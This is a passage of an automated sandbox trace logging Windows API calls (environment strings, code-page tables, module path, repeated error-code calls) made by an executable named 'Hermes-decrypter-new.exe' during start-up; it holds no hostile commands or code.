lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0137.351] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x565) returned 0x2aa07c8 [0137.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2aa07c8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0137.351] FreeEnvironmentStringsW (penv=0xeac5e0) returned 1 [0137.351] GetStartupInfoA (in: lpStartupInfo=0x19ef34 | out: lpStartupInfo=0x19ef34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0137.351] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x800) returned 0x2aa0d38 [0137.351] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0137.351] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0137.351] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0137.351] SetHandleCount (uNumber=0x20) returned 0x20 [0137.351] GetLastError () returned 0x0 [0137.351] SetLastError (dwErrCode=0x0) [0137.351] GetLastError () returned 0x0 [0137.351] SetLastError (dwErrCode=0x0) [0137.351] GetLastError () returned 0x0 [0137.351] SetLastError (dwErrCode=0x0) [0137.352] GetACP () returned 0x4e4 [0137.352] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x220) returned 0x2aa1540 [0137.352] GetLastError () returned 0x0 [0137.352] SetLastError (dwErrCode=0x0) [0137.352] IsValidCodePage (CodePage=0x4e4) returned 1 [0137.352] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19ef14 | out: lpCPInfo=0x19ef14) returned 1 [0137.352] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19e9e0 | out: lpCPInfo=0x19e9e0) returned 1 [0137.352] GetLastError () returned 0x0 [0137.352] SetLastError (dwErrCode=0x0) [0137.352] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19e970 | out: lpCharType=0x19e970) returned 1 [0137.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0137.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e758, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0137.352] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19e9f4 | out: lpCharType=0x19e9f4) returned 1 [0137.352] GetLastError () returned 0x0 [0137.352] SetLastError (dwErrCode=0x0) [0137.352] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0137.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0137.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮픺CĀ") returned 256 [0137.352] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮픺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0137.352] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮픺CĀ", cchSrc=256, lpDestStr=0x19e518, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0137.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19ecf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc2\x0f\xcc\xf8\x2c\xef\x19", lpUsedDefaultChar=0x0) returned 256 [0137.353] GetLastError () returned 0x0 [0137.353] SetLastError (dwErrCode=0x0) [0137.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0137.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e748, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮픺CĀ") returned 256 [0137.353] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮픺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0137.353] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮픺CĀ", cchSrc=256, lpDestStr=0x19e538, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0137.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19ebf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc2\x0f\xcc\xf8\x2c\xef\x19", lpUsedDefaultChar=0x0) returned 256 [0137.353] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x44e528, nSize=0x104 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0137.353] GetLastError () returned 0x0 [0137.353] SetLastError (dwErrCode=0x0) [0137.353] GetLastError () returned 0x0 [0137.353] SetLastError (dwErrCode=0x0) [0137.353] GetLastError () returned 0x0 [0137.353] SetLastError (dwErrCode=0x0) [0137.353] GetLastError () returned 0x0 [0137.353] SetLastError (dwErrCode=0x0) [0137.353] GetLastError () returned 0x0 [0137.353] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.354] SetLastError (dwErrCode=0x0) [0137.354] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.355] SetLastError (dwErrCode=0x0) [0137.355] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x2b) returned 0x2aa1768 [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.356] SetLastError (dwErrCode=0x0) [0137.356] GetLastError () returned 0x0 [0137.357] SetLastError (dwErrCode=0x0) [0137.357] GetLastError () returned 0x0 [0137.357] SetLastError (dwErrCode=0x0) [0137.357] GetLastError () returned 0x0 [0137.357] SetLastError (dwErrCode=0x0) [0137.357] GetLastError () returned 0x0 [0137.357] SetLastError (dwErrCode=0x0) [0137.357] GetLastError () returned 0x0 [0137.357] SetLastError (dwErrCode=0x0) [0137.357] GetLastError () returned 0x0 [0137.357] SetLastError (dwErrCode=0x0) [0137.357] GetLastError () returned 0x0 [0137.357] SetLastError (dwErrCode=0x0) [0137.357] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.358] SetLastError (dwErrCode=0x0) [0137.358] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError 